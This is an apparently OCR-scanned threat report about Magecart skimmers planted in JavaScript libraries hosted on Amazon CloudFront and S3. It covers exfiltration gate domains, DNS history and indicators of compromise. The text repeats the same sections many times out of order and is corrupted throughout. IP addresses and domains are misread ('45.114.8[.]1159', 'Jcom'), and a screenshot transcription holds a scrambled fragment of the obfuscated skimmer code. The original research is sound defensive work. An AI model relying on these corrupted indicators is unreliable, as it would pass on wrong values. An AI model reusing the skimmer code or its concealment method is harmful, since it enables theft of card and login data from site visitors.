RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS1.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets[.]Jcom started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud[.]com, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.

We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

Indicators of Compromise (IoCs)
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(wwl-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.

%{‘—cloud.com pjs—cloudhost.com

o8 %

£E345114.8.162 $£245114.8.163

~ 7
at s
~

pcdn—imgcloud.com
- TQASN 55933
451148150 1 - /
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a / | E25.1148.160
e '

— IN\\‘H E945.114.8.161
i+ |

ww 1-filecloud.com |—Ofgnt_355et5_com

What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets[.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]Jcom, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.
Indicators of Compromise (IoCs)

wwl-filecloud[.]Jcom,45.114.8[.]1159
cdn-imgcloud[.]Jcom,45.114.8[.]160
font-assets[.]Jcom,45.114.8[.1161
wix-cloud[.]com,45.114.8[.]162
js-cloudhost[.]Jcom,45.114.8[.]163

Update (06-08-2019): The compromises of Amazon S3 buckets continue and some large sites are being affected.
Our crawler spotted a malicious injection that loads a skimmer for the Washington Wizards page on the official

NBA.com website.
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4 » 9 characters selected

The skimmer was inserted in this JavaScript library:

hxxps://s3[.]Jamazonaws[ . ]com/wsaimages/js/wizards[.]js
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Interestingly, this same library had already been altered (loading content from com (opens in a new tab)”>)_some

time earlier in January of this year. We have reported this incident to Amazon. A complete archived scan of the

page can be found here.

Late last week, we observed a number of compromises on Amazon CloudFront — a Content Delivery Network

(CDN) — where hosted JavaScript libraries were tampered with and injected with web skimmers.

Although attacks that involve CDNs usually affect a large number of web properties at once via their supply chain,
this isn’t always the case. Some websites either use Amazon’s cloud infrastructure to host their own libraries or

link to code developed specifically for them and hosted on a custom AWS S3 bucket.

Without properly validating content loaded externally, these sites are exposing their users to various threats,
including some that pilfer credit card data. After analyzing these breaches, we found that they are a continuation of

a campaign from Magecart threat actors attempting to cast a wide net around many different CDNs.

The ideal place to conceal a skimmer

CDNs are widely used because they provide great benefits to website owners, including optimizing load times and

cost, as well as helping with all sorts of data analytics.

The sites we identified during a crawl had nothing in common other than the fact they were all using their own
custom CDN to load various libraries. In effect, the only resulting victims of a compromise on their CDN

repository would be themselves.

This first example shows a JavaScript library that is hosted on its own dedicated AWS S3 bucket. The skimmer

can be seen appended to the original code and using obfuscation to conceal itself.

This second case shows the skimmer injected not just in one library, but several contained within the same

directory, once again part of an S3 bucket that is only used by this one website.
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(wwl-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]Jcom, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

Indicators of Compromise (IoCs)

wwl-filecloud[.]Jcom,45.114.8[.]1159
cdn-imgcloud[.]Jcom,45.114.8[.]160
font-assets[.]Jcom,45.114.8[.]1161
wix-cloud[.]com,45.114.8[.]162
js-cloudhost[.]Jcom,45.114.8[.]163
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(wwl-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]Jcom, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

Indicators of Compromise (IoCs)
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form
instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.
Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(wwl-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS1.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets[.]Jcom started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud[.]com, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.

We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

Indicators of Compromise (IoCs)

wwl-filecloud[.]Jcom,45.114.8[.]1159
cdn-imgcloud[.]Jcom,45.114.8[.]160
font-assets[.]Jcom,45.114.8[.1161
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(wwl-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]Jcom, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.
Indicators of Compromise (IoCs)
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js-cloudhost[.]Jcom,45.114.8[.]163

Update (06-08-2019): The compromises of Amazon S3 buckets continue and some large sites are being affected.
Our crawler spotted a malicious injection that loads a skimmer for the Washington Wizards page on the official

NBA.com website.
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The skimmer was inserted in this JavaScript library:

hxxps://s3[.]Jamazonaws[ . Jcom/wsaimages/js/wizards[.]js
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Interestingly, this same library had already been altered (loading content from com (opens in a new tab)”>)_some

time earlier in January of this year. We have reported this incident to Amazon. A complete archived scan of the

page can be found here.

Late last week, we observed a number of compromises on Amazon CloudFront — a Content Delivery Network

(CDN) — where hosted JavaScript libraries were tampered with and injected with web skimmers.

Although attacks that involve CDNs usually affect a large number of web properties at once via their supply chain,
this isn’t always the case. Some websites either use Amazon’s cloud infrastructure to host their own libraries or

link to code developed specifically for them and hosted on a custom AWS S3 bucket.

Without properly validating content loaded externally, these sites are exposing their users to various threats,
including some that pilfer credit card data. After analyzing these breaches, we found that they are a continuation of

a campaign from Magecart threat actors attempting to cast a wide net around many different CDNs.

The ideal place to conceal a skimmer

CDNs are widely used because they provide great benefits to website owners, including optimizing load times and

cost, as well as helping with all sorts of data analytics.

The sites we identified during a crawl had nothing in common other than the fact they were all using their own
custom CDN to load various libraries. In effect, the only resulting victims of a compromise on their CDN

repository would be themselves.

This first example shows a JavaScript library that is hosted on its own dedicated AWS S3 bucket. The skimmer

can be seen appended to the original code and using obfuscation to conceal itself.

This second case shows the skimmer injected not just in one library, but several contained within the same

directory, once again part of an S3 bucket that is only used by this one website.
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(wwl-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.

%{‘—cloud.com pjs—cloudhost.com

o8 %

£E345114.8.162 $£245114.8.163

~ 7
at s
~

pcdn—imgcloud.com
- TQASN 55933
451148150 1 - /
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a / | E25.1148.160
e '

— IN\\‘H E945.114.8.161
i+ |

ww 1-filecloud.com |—Ofgnt_355et5_com

What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]Jcom, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.
Indicators of Compromise (IoCs)

wwl-filecloud[.]Jcom,45.114.8[.]1159
cdn-imgcloud[.]Jcom,45.114.8[.]160
font-assets[.]Jcom,45.114.8[.1161
wix-cloud[.]com,45.114.8[.]162
js-cloudhost[.]Jcom,45.114.8[.]163

Update (06-08-2019): The compromises of Amazon S3 buckets continue and some large sites are being affected.
Our crawler spotted a malicious injection that loads a skimmer for the Washington Wizards page on the official

NBA.com website.
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The skimmer was inserted in this JavaScript library:

hxxps://s3[.]Jamazonaws[ . Jcom/wsaimages/js/wizards[.]js
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Interestingly, this same library had already been altered (loading content from com (opens in a new tab)”>)_some

time earlier in January of this year. We have reported this incident to Amazon. A complete archived scan of the

page can be found here.

Late last week, we observed a number of compromises on Amazon CloudFront — a Content Delivery Network

(CDN) — where hosted JavaScript libraries were tampered with and injected with web skimmers.

Although attacks that involve CDNs usually affect a large number of web properties at once via their supply chain,
this isn’t always the case. Some websites either use Amazon’s cloud infrastructure to host their own libraries or

link to code developed specifically for them and hosted on a custom AWS S3 bucket.

Without properly validating content loaded externally, these sites are exposing their users to various threats,
including some that pilfer credit card data. After analyzing these breaches, we found that they are a continuation of

a campaign from Magecart threat actors attempting to cast a wide net around many different CDNs.

The ideal place to conceal a skimmer

CDNs are widely used because they provide great benefits to website owners, including optimizing load times and

cost, as well as helping with all sorts of data analytics.

The sites we identified during a crawl had nothing in common other than the fact they were all using their own
custom CDN to load various libraries. In effect, the only resulting victims of a compromise on their CDN

repository would be themselves.

This first example shows a JavaScript library that is hosted on its own dedicated AWS S3 bucket. The skimmer

can be seen appended to the original code and using obfuscation to conceal itself.

This second case shows the skimmer injected not just in one library, but several contained within the same

directory, once again part of an S3 bucket that is only used by this one website.

Page 70 of 351


https://www.virustotal.com/gui/domain/installw.com/relations
https://www.virustotal.com/gui/domain/installw.com/relations
https://web.archive.org/web/20190122172555/https://s3.amazonaws.com/wsaimages/js/wizards.js
https://urlscan.io/result/a8e13fdc-d4e9-4218-8be8-67875a515f6c
https://aws.amazon.com/cloudfront/
https://aws.amazon.com/s3/

https://blog.malwarebytes.com /threat-analysis /2019 /06 /magecart-skimmers-found-on-amazon-cloudfront-cdn/

" Progress Telerik Fiddler Web Debugger - EKFiddle v.0.9.1
File Edit Rules Teools Wiew Help Links
QuickSave UImode YPM Proxy Import SAZ/PCAP Update/View Regexes Run Regexes Clear Markings C,

Protocol Method Host  LIRL Body

s3-ca-central-1.amazonaws. com fis/full-screen-menu.js 12,214
s3-ca-central-1.amazonaws. com || 1 fisfdropdown. js 9,166

s3-ca-central-1.amazonaws. com fisfinput-number-ncrement. js 10,471
s3-ca-central-1.amazonaws. com fisfinput-progress. js 12,390
s3-ca-central-1.amazonaws. com fis/main-menu-mover.js 9,347
s3-ta-central-1.amazonaws. com fiz/progress-demo.js 10,297
s3-ta-central-1.amazonaws. com fisfform-collapse-workflow.js 11,649
s3-ta-central-1.amazonaws. com fis/svgdeverybody.min.js 10,880
53 e 9,980
53 9,166
53

I'u I'u I:u IIJ IIJ IIJ I:..u I:..u Iu

(3) Statistics | - Inspectors | £ AutoResponder | [ Composer | [f5] Fiddler Orchestra Beta | ‘5z Fiddlerscript | =

IHeaders | Textview | SyntaxView | WebForms | HexWiew | Auth | Cookies | Raw | 150M | ML |

Transformer | Headers ||Text'l.ﬁew | Syntaniiew | ImageView | HexWiew | Webliew | Auth | Caching |

Sithis).removeClass{show’);
Sithis).dequeuel);

frar (b3 7a=[ b b8 wcdle eda b2 oehd ehe w30 b 1005 T B oc 7 3'0cb 10eh8 ot 70 b orha oed 1 e 30 e 3, e 1 o8 acdle
75 o5 oA Thoc55 e 3d” o6 1 e85 20 30 e F e Bhocd el o 36 e e 79 o 3T oo o5 e Thoc 14 o T4 o5 T 3 B
X585 75957 78\ 70 5 cd T3 355 32 46 032 5 56 A2 BB 3wl w74 55 32

eaSendDataDomainTrySendIMGGetimagelrl?
reff=onreadystatechangesetintervalreplacetestlengthcharAtorientation2=Function
s dispatchEventinnerwidthinnerHeightverticalhorizontalFirebugchrom@ pllii
(1238700 char? (236519, D«
| 1190 [CuuTm U J=function(_(dbb 7bb)ivar _(x390ae2=atobl_Rdbb7bb)var _Ee3bbeS=[lforjvar _(1dch08=<0x0,_kdd
HecodeURIComponent{_(e35bc5)}_O1196[TxGHBR =0 _ 0 156[Jz0W Ty =l var _(ed541ae=_0x1156[ TxGHERTL
{b(ZcEde}functmn &cﬁﬂﬂﬂnﬁ{_ﬁcﬁaﬁﬁec (ec063ab, _(k3dchf 3retum {kcﬁaﬁﬁecL{kHﬂ::{'{b:ﬂ'}]{new RegExp(_kc065a

[4n11a o o i

(bZ?cbdb2=_(b

Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(wwl-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]Jcom, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

Indicators of Compromise (IoCs)
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form
instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.
Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(wwl-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS1.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets[.]Jcom started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud[.]com, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
